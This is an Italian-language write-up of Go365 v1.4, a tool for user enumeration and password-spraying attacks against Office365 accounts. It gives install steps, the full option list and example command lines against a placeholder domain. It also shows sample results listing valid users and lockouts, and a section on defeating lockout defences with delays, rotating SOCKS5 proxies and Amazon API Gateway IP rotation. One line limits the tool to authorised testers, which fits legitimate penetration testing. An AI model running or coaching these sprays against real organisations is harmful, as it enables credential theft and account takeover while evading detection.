“Go365 v1.4 è uno strumento progettato per eseguire attacchi di enumerazione degli utenti* e di rivelazione di password, verso le organizzazioni che utilizzano Office365 (a breve Microsoft365). Go365 utilizza un endpoint API SOAP univoco su login.microsoftonline.com che la maggior parte degli altri strumenti non utilizza. Quando viene eseguita una query con un indirizzo di posta elettronica e una password, l’endpoint risponde con un codice di autenticazione e autorizzazione di Azure AD. Questo codice viene quindi elaborato da Go365 e il risultato viene stampato sullo schermo o su un file di output.
* L’enumerazione dell’utente viene eseguita insieme a un tentativo di indovinare la password. Pertanto, non esiste un flag o una funzionalità specifica per eseguire solo l’enumerazione dell’utente. Invece, esegui il tuo primo attacco per indovinare la password, quindi analizza i risultati per gli utenti validi.
Leggi questi tre pallini:
- Questo strumento potrebbe non funzionare su tutti i domini che utilizzano o365. I test dimostrano che funziona con la maggior parte dei domini federati. Alcuni domini segnaleranno solo gli utenti validi anche se viene fornita anche una password valida. I tuoi risultati possono variare!
- I domini su cui è stato testato questo strumento hanno dimostrato che in realtà non bloccava gli account dopo più errori di password. I tuoi risultati possono variare!
- Questo strumento è destinato all’uso da parte di professionisti della sicurezza autorizzati ad “attaccare” l’istanza o365 dell’organizzazione di destinazione.
Rilascio
Opzione 0
go get -u github.com/optiv/Go365
opzione 1
Scarica un pre-compiled binary per il tuo sistema operativo QUI .
opzione 2
Scarica il sorgente e compila in locale.
- Installa Vai.
- Vai a prendere dei pacchetti:
go get github.com/beevik/etree
go get github.com/fatih/color
go get golang.org/x/net/proxy
- Clona il repository.
- Vai al repository e compila ya dingus.
go build Go365.go
- Esegui il binary risultante
Utilizzo
$ ./Go365 -h
██████ ██████ ██████ ██████
██ ██ ██ ██
██ ███ ████ █████ ███████ ██████
██ ██ ██ ██ ██ ██ ██ ██
██████ ████ ██████ ██████ ██████
Version: 1.4
Authors: h0useh3ad, paveway3, S4R1N, EatonChips
Usage:
-h Shows this stuff
Required - Endpoint:
-endpoint [rst or graph] Specify which endpoint to use
: (-endpoint rst) login.microsoftonline.com/rst2.srf. SOAP XML request with XML response
: (-endpoint graph) login.microsoft.com/common/oauth2/token. HTTP POST request with JSON Response
Required - Usernames and Passwords:
-u <string> Single username to test
: Username with or without "@domain.com"
: Must also provide -d flag to specify the domain
: (-u legit.user)
-ul <file> Username list to use (overrides -u)
: File should contain one username per line
: Usernames can have "@domain.com"
: If no domain is specified, the -d domain is used
: (-ul ./usernamelist.txt)
-p <string> Password to attempt
: Enclose in single quotes if it contains special characters
: (-p password123) or (-p 'p@s$w0|2d')
-pl <file> Password list to use (overrides -p)
: File should contain one password per line
: -delay flag can be used to include a pause between each set of attempts
: (-pl ./passwordlist.txt)
-up <file> Userpass list to use (overrides all the above options)
: One username and password separated by a ":" per line
: Be careful of duplicate usernames!
: (-up ./userpasslist.txt)
Required/Optional - Domain:
-d <string> Domain to test
: Use this if the username or username list does not include "@targetcompany.com"
: (-d targetcompany.com)
Optional:
-w <int> Time to wait between attempts in seconds.
: Default: 1 second. 5 seconds recommended.
: (-w 10)
-delay <int> Delay (in seconds) between sprays when using a password list.
: Default: 60 minutes (3600 seconds) recommended.
: (-delay 7200)
-o <string> Output file to write to
: Will append if file exists, otherwise a file is created
: (-o ./Go365output.out)
-proxy <string> Single proxy server to use
: IP address and Port separated by a ":"
: Has only been tested using SSH SOCKS5 proxies
: (-proxy 127.0.0.1:1080)
-proxyfile <string> A file with a list of proxy servers to use
: IP address and Port separated by a ":" on each line
: Randomly selects a proxy server to use before each request
: Has only been tested using SSH SOCKS5 proxies
: (-proxyfile ./proxyfile.txt)
-url <string> Endpoint to send requests to
: Amazon API Gateway 'Invoke URL'
: Highly recommended that you use this option.
: (-url https://kg98agrae3.execute-api.us-east-2.amazonaws.com/login)
-debug Debug mode.
: Print xml response
Esempi
./Go365 -endpoint rst -ul ./user_list.txt -p 'coolpasswordbro!123' -d pwnthisfakedomain.com
./Go365 -endpoint graph -ul ./user_list.txt -p 'coolpasswordbro!123' -d pwnthisfakedomain.com -w 5
./Go365 -endpoint rst -up ./userpass_list.txt -delay 3600 -d pwnthisfakedomain.com -w 5 -o Go365output.txt
./Go365 -endpoint graph -u legituser -p 'coolpasswordbro!123' -d pwnthisfakedomain.com -w 5 -o Go365output.txt -proxy 127.0.0.1:1080
./Go365 -endpoint rst -u legituser -pl ./pass_list.txt -delay 1800 -d pwnthisfakedomain.com -w 5 -o Go365output.txt -proxyfile ./proxyfile.txt
./Go365 -endpoint graph -ul ./user_list.txt -p 'coolpasswordbro!123' -d pwnthisfakedomain.com -w 5 -o Go365output.txt -url https://k62g98dne3.execute-api.us-east-2.amazonaws.com/login
Account bloccato! (Difese del dominio)
protip: Probabilmente non stai effettivamente bloccando gli account.
Dopo una serie di query su un dominio di destinazione, i risultati potrebbero iniziare a segnalare che gli account sono bloccati.
Una volta attivata questa difesa, l’enumerazione degli utenti diventa inaffidabile poiché le richieste di utenti validi e non validi segnaleranno casualmente che i loro account sono stati bloccati .
...
[-] User not found: test.user90@pwnthisfakedomain.com
[-] User not found: test.user91@pwnthisfakedomain.com
[-] Valid user, but invalid password: test.user92@pwnthisfakedomain.com
[!] Account Locked Out: real.user1@pwnthisfakedomain.com
[-] Valid user, but invalid password: test.user93@pwnthisfakedomain.com
[!] Account Locked Out: valid.user94@pwnthisfakedomain.com
[!] Account Locked Out: jane.smith@pwnthisfakedomain.com
[-] Valid user, but invalid password: real.user95@pwnthisfakedomain.com
[-] Valid user, but invalid password: fake.user96@pwnthisfakedomain.com
[!] Account Locked Out: valid.smith@pwnthisfakedomain.com
...
Si tratta di un meccanismo difensivo attivato dal numero di query valide dell’utente sul dominio di destinazione entro un determinato periodo di tempo . Il numero di tentativi e il periodo di tempo varieranno a seconda del dominio di destinazione poiché le soglie possono essere personalizzate dall’organizzazione di destinazione.
Contrastare i sistemi di difesa
Tempo di attesa
Il meccanismo difensivo è basato sul tempo e sull’indirizzo IP . Go365 fornisce opzioni per includere un tempo di attesa tra le richieste e opzioni proxy per distribuire l’origine delle richieste. Per aggirare i meccanismi difensivi sul tuo dominio di destinazione, utilizza un lungo tempo di attesa e più server proxy.
Si consiglia un tempo di attesa di ALMENO 15 secondi. -w 15
Proxy SOCKS5
Se ricevi ancora risposte “account bloccato”, inizia a inoltrare le tue richieste. Le opzioni proxy sono state testate solo su proxy dinamici SSH SOCKS5 ( ssh -D <port> user@proxyserver
)
Crea un mucchio di proxy SOCKS5 su DO o AWS o Vultr o qualsiasi altra cosa e crea un file simile a questo:
127.0.0.1:8081
127.0.0.1:8082
127.0.0.1:8083
127.0.0.1:8084
127.0.0.1:8085
127.0.0.1:8086
...
Lo strumento itera in modo casuale attraverso i server proxy forniti e attende il periodo di tempo specificato tra le richieste.
-w 15 -proxyfile ./proxies.txt
Amazon API Gateway
Inoltre, è possibile specificare un URL dell’endpoint in modo che questo strumento possa interfacciarsi con Amazon API Gateway. Imposta un gateway in modo che punti https://login.microsoftonline.com/rst2.srf
all’endpoint, quindi imposta il parametro -url sul Invoke URL
. Il tuo IP dovrebbe essere ruotato ad ogni richiesta.
-url https://k62g98dne3.execute-api.us-east-2.amazonaws.com/login